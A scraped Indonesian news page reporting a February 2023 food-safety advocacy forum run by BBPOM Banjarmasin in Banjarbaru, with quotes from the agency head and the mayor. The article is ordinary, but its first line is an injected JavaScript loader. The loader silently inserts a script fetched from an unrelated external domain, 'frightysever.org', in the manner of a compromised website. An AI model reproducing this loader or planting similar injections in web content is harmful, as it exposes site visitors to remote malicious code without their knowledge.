(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Balai Besar Pengawasan Obat dan Makanan (BBPOM) Banjarmasin ingin memastikan agar pangan desa berbasis komunitas dan jajan anak usia sekolah yang beredar di Banjarbaru aman dan layak dikonsumsi.
Untuk memastikan hal tersebut, maka BBPOM Banjarmasin menggelar kegiatan forum advokasi keamanan pangan terpadu desa pangan aman, pasar pangan aman berbasis komunitas dan Pangan Jajanan Anak Usia Sekolah (PJAS) di aula Gawi Sabarataan Balai Kota Banjarbaru, Senin (27/2/2023).
Kepala BBPOM Banjarmasin, Leonard Duma mengatakan, tujuan utama dilakukan intervensi keamanan pangan ini yaitu menjamin keamanan pangan yang dikonsumsi dari desa, sekolah dan pasar berbasis komunitas.
“Dengan tiga kegiatan ini, mampu tercipta praktek keamanan pangan yang diproduksi memenuhi persyaratan pangan keamanan dan mutu, serta bergizi bagi masyarakat,” ujarnya.
Baca juga: Masuk Endemi, Dinkes Banjar Imbau Masyarakat Tetap Jalankan Prokes
Kegiatan ini juga guna membekali para peserta untuk memiliki pengetahuan, sikap dan perilaku keamanan yang baik. Sehingga dapat melindungi dirinya dari pangan yang tidak aman, yang membahayakan kesehatan.
BBPOM Banjarmasin mengharapkan ada komitmen dari Pemko Banjarbaru untuk bersama-sama melaksanakan program keamanan pangan.
Di sini juga akan dilakukan pendampingan pada pelaku usaha guna memiliki izin edar sesuai ketentuan, serta meningkatkan daya saing produk.
“Masing-masing produsen yang diintervensi, dapat meningkatkan kualitas dan praktek keamanan pangan,” tandasnya.
Sementara itu, Wali Kota Banjarbaru, Aditya Mufti Ariffin mengatakan dengan adanya advokasi ini dapat memberikan sosialisasi dan edukasi berkaitan pangan yang aman dan sehat.
Baca juga: Banjir di Pengaron Capai 2 Meter, Jalan Utama Tak Bisa Dilewati
“Dengan adanya pangan aman dan sehat, kedepan bisa menciptakan masyarakat yang sejahtera,” ujarnya.
Aditya berpesan kepada para peserta yang hadir dalam kegiatan advokasi agar para peserta mampu menyimak secara rinci supaya mengerti makanan pangan sehat.
“Agar bisa memberikan sosialisasi dan edukasi,” ujarnya.
Nantinya, kata Aditya, semua yang teribat mampu memfilter memberikan izin kepada para pelaku usaha makanan dan minuman agar menjaga kualitas produk tersebut agar aman dikonsumsi.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.